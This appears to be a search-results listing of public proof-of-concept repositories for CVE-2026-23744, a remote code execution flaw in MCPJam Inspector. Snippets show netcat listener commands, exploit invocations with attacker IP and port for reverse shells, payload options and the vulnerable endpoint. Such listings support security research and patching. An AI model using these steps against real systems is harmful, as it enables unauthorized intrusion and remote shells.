92 matches found
CVE-2025-49596-PoC
CVE-2026-23744-PoC Automated PoC for CVE-2026-23744 RCE on MCPJam inspector prior to 1.4.2 on linux targets How to use use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...
CVE-2026-23744-MCPJam-Exploit
CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ DISCLAIMER This tool is for authorized security testing and educational purposes ONLY. Unauthorized use is illegal. Users assume all responsibility for their actions. 📋 Overview This repository contains a proof-of-concept exploit for CVE-2026-23744 ,...
mcp-pwn
CVE-2026-23744 — MCPJam Unauthenticated Remote Code Execution Summary MCPJam is an open-source MCP Model Context Protocol inspector and proxy used to connect, debug, and manage MCP servers. Versions = 1.4.3 Attack Vector| Network — No Authentication Required Disclosure| 2026-01-15 Technical...
CVE-2026-23744-Remote-Code-Execution-POC
CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Proof Of Concept POC MCPJam inspector 3. Run the exploit python3 exploit.py...
CVE-2026-23744-POC
Description This vulnerability exists because MCPJam Inspector exposes internal API endpoints intended for debugging and development. These endpoints accept user-controlled input and pass it directly to system-level process execution without proper validation or sanitization. By sending a crafted...
CVE-2026-23744-PoC
Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...
PoC-CVE-2026-23744
PoC-CVE-2026-23744 Remote Code Execution on MCPJam Inspector Reference https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
CVE-2026-23744-Lab
CVE-2026-23744 – MCPJam Inspector Docker Lab This repo is a tiny Docker lab to compare a vulnerable vs patched build of MCPJam Inspector for CVE-2026-23744. It’s meant for learning and for building a public security portfolio: quick setup, clear evidence, and screenshots. ⚠️ Ethics / scope : Only...
CVE-2026-23744
CVE-2026-23744 Exploit to MCPJam Inspector Install libraries with: pip install -r requirements.txt - use python CVE-2026-23744 --help to info MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code...
CVE-2026-23744
CVE-2026-23744 – Proof of Concept The Python script in this PoC sends a simple HTTP request to the target host running MCPJam inspector version replace with your listening port Then, open another shell, and run the PoC: cd CVE-2026-23744 python3 exploit.py References REC in MCPJam inspector due t...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m Flag| Description| Default ---|---|--- -u| Target URL| required -i| Your listener IP LHOST| required -p| Your listener port LPORT| required -m| Payload method: busybox, bash, python3| busybox Reverse Shell Example Ste...
CVE-2026-23744
CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...
exploit-CVE-2026-23744
exploit-CVE-2026-23744 MCPJam Inspector is a local-first development platform for MCP servers. In versions 1.4.2 and earlier, a RCE flaw lets attackers send crafted HTTP request that installs an MCP server and runs code remotely, because the service listens on 0.0.0.0 instead of 127.0.0.1 by...
mcpjam-to-root
⚠️ Disclaimer This repository is intended for authorized security research, penetration testing, and educational purposes only. Do not use the techniques described here against systems without explicit authorization. ⚡ MCPJam → Root From MCPJam Inspector RCE to root — CVE-2026-23744, JupyterLab...
CVE-2026-23744-script
A script for CVE-2026-23744, which exploits MCPJam Inspector versions = 1.4.2. Based off the curl command used here: https://github.com/advisories/GHSA-232v-j27c-5pp6 Make sure your /etc/hosts file is correct and points to the domain/vhost of the target...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
mcpExec
mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip...
CVE-2026-23744
CVE-2026-23744: Unauthenticated Remote Code Execution in @mcpjam/inspector DISCLAIMER: This repository and the associated scripts are intended solely for authorized security assessments, penetration testing, security research, and educational analysis. Unauthorized testing of systems without...